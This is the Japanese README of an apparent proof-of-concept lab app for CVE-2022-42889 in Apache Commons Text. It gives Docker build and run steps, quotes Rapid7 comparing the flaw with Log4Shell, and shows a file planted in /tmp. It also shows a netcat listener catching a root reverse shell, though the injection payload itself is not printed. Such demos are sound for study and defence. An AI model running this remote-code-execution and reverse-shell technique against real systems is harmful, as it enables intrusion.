
CVE-2022-42889 脆弱性を悪用する方法を示すシンプルなアプリケーション
CVE-2022-42889 脆弱性を悪用する方法を示すシンプルなデモアプリケーションです。
OOB(Out of Band)サービスを利用して、dnsおよびurlプレフィックスをデモンストレーションします。
commons-text 補間のJavaDocs commons-text JavaDocs
補間の例
Rapid7からの引用
この脆弱性は、オープンソースライブラリレベルの脆弱性であり、関連オブジェクトを使用する多種多様なソフトウェアアプリケーションに影響を与える可能性が高いことから、Log4Shellと比較されています。
しかし、初期分析では、この比較は適切ではないことが示されています。脆弱性の性質上、Log4Shellとは異なり、アプリケーションがCommons Textの脆弱なコンポーネントを使用して信頼できない潜在的に悪意のある入力を処理することは稀であることを意味します。
Docker Hubからイメージを取得する場合は、Javaとmavenは不要です。Docker Hub
アプリケーションのビルド
mvn clean package
Dockerイメージのビルド
docker build -t cve-2022-42889-poc .
Dockerイメージの実行
docker run --rm -p 8081:8081 -t cve-2022-42889-poc
アプリケーションにアクセスし、指示に従ってください。
open http://localhost:8081
/tmp/ディレクトリ(/tmp/blop)に新しいファイルが作成されることを確認します。
➜ ~ docker exec -ti cve-2022-42889-poc /bin/ls /tmp
blop tomcat-docbase.8081.12439436974042217796
hsperfdata_root tomcat.8081.2549096106233509364
➜ ~
リバースシェル。ローカルマシンで"nc"を起動します。
➜ ~ nc -lv 4242
root@7cfcd6a39a61:/# whoami && uname -a
whoami && uname -a
root
Linux 7cfcd6a39a61 5.10.76-linuxkit #1 SMP Mon Nov 8 10:21:19 UTC 2021 x86_64 GNU/Linux
root@7cfcd6a39a61:/#

